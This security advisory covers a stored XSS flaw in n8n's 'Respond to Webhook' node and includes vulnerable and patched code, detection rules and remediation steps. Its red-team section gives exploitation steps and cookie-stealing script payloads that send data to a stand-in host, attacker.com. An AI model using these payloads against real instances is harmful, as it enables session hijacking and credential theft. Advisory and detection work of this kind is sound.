CVE-2025-61914

Executive Summary

CVE-2025-61914 is a stored Cross-Site Scripting (XSS) vulnerability in n8n, an open-source workflow automation platform. The flaw resides in the “Respond to Webhook” node, which allows an attacker with workflow creation privileges to inject arbitrary JavaScript into HTML responses. When the webhook response is rendered in the n8n editor interface, the script executes in the top-level window context, bypassing the sandbox introduced in version 1.103.0. This can lead to session hijacking, data exfiltration, or further compromise of the n8n instance. The vulnerability is patched in version 1.114.0, and no public exploit code is available at this time.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users should verify the integrity of their installation by checking the package hash against the official npm registry. The vulnerability does not originate from a compromised dependency but from a logic flaw in the application’s response handling. However, as a best practice, always validate the provenance of the npm package and its dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (workflow creation permission)
• User Interaction: Required (victim views the malicious webhook response)
• Scope: Changed (impact on the editor interface)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is High due to the low complexity and the potential for an attacker to execute arbitrary JavaScript in the context of the n8n editor, which could lead to credential theft or further lateral movement.

Deep Dive & Mechanics

The vulnerability exists in the “Respond to Webhook” node, which allows workflows to return custom HTML content to webhook callers. In versions prior to 1.114.0, when the node returns HTML containing executable scripts (e.g., <script>alert(1)</script>), the response is rendered in the n8n editor interface without proper sandboxing. Although version 1.103.0 introduced a sandbox to isolate webhook responses, the sandbox was not applied to the top-level window context. This means that if the response is rendered in the main editor frame, the script executes with full access to the editor’s DOM and cookies.

The attack flow:

1. An attacker with workflow creation privileges creates a workflow with a “Respond to Webhook” node.
2. The node is configured to return HTML containing a malicious script (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>).
3. The attacker triggers the webhook (e.g., by sending a crafted HTTP request).
4. When a victim (e.g., another admin) views the webhook response in the n8n editor, the script executes, exfiltrating sensitive data.

The root cause is the failure to enforce the sandbox on the top-level window, allowing scripts to escape the intended isolation.

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.114.0): The “Respond to Webhook” node directly injects the HTML response into the editor’s DOM without sanitization or sandboxing.

// Vulnerable: Directly sets innerHTML without sandbox
const responseHtml = getWebhookResponse();
document.getElementById('webhook-response-container').innerHTML = responseHtml;

Patched Code (1.114.0): The fix ensures that the HTML response is rendered inside a sandboxed iframe, preventing script execution in the top-level window.

// Patched: Uses sandboxed iframe
const responseHtml = getWebhookResponse();
const iframe = document.createElement('iframe');
iframe.sandbox = 'allow-scripts'; // Only allow scripts within iframe
iframe.srcdoc = responseHtml;
document.getElementById('webhook-response-container').appendChild(iframe);

The patch also includes server-side sanitization of HTML responses to strip executable scripts before they reach the client.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an n8n instance (version < 1.114.0) with workflow creation privileges.
• Ability to trigger a webhook (e.g., via HTTP request).

Exploitation Steps:

1. Create a new workflow in n8n.
2. Add a “Webhook” node as the trigger, configured to listen for POST requests.
3. Add a “Respond to Webhook” node connected to the trigger.
4. In the “Respond to Webhook” node, set the response body to:

   <html><body><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script></body></html>
   

5. Save and activate the workflow.
6. Send a POST request to the webhook URL (e.g., curl -X POST https://n8n-instance/webhook/abc123).
7. When an admin views the workflow execution in the editor, the script executes and exfiltrates cookies.

Alternative Payload:

<script>new Image().src='https://attacker.com/steal?data='+btoa(document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual webhook responses containing <script> tags or event handlers.
• Use network monitoring to detect outbound connections to unknown domains from the n8n editor.
• Review workflow creation logs for suspicious “Respond to Webhook” node configurations.

Hunting:

• Search for workflows where the “Respond to Webhook” node returns HTML content.
• Check for recent webhook executions that returned non-standard content types (e.g., text/html instead of application/json).

Forensics:

• Examine browser console logs for CSP violations or blocked script execution.
• Analyze web server logs for requests to the webhook endpoint with unusual payloads.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains from the n8n editor.
  • Webhook responses containing <script> tags or JavaScript event handlers.
• File:
  • Workflow JSON files with "respondToWebhook" nodes containing HTML with scripts.
• Logs:
  • n8n audit logs showing creation of workflows with “Respond to Webhook” nodes by non-admin users.
  • Browser console errors related to CSP violations.

Detection Engineering

YARA Rule

rule CVE_2025_61914_n8n_XSS {
    meta:
        description = "Detects malicious HTML responses in n8n webhook nodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-61914"
    strings:
        $script_tag = /<script[\s>]/ nocase
        $on_event = /on\w+\s*=/ nocase
        $javascript = /javascript\s*:/ nocase
    condition:
        any of them
}

Sigma Rule

title: Suspicious n8n Webhook Response with Script Content
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects webhook responses containing executable scripts in n8n
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: n8n
detection:
    selection:
        response_body|contains:
            - '<script'
            - 'onload='
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in webhook responses (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-61914 n8n XSS Webhook Response"; flow:to_client; content:"<script"; http_server_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade n8n to version 1.114.0 or later.
2. Restrict workflow creation and modification privileges to trusted users only.
3. Avoid using untrusted HTML responses in the “Respond to Webhook” node.

Long-term:

1. Implement a reverse proxy with HTML sanitization (e.g., using DOMPurify) to filter webhook responses.
2. Enable Content Security Policy (CSP) headers to restrict script execution.
3. Conduct regular security audits of workflow configurations.

Workarounds:

• Use an external reverse proxy to sanitize HTML responses before they reach the n8n editor.
• Disable the “Respond to Webhook” node if not needed.

Valters IT
Securing Digital Frontiers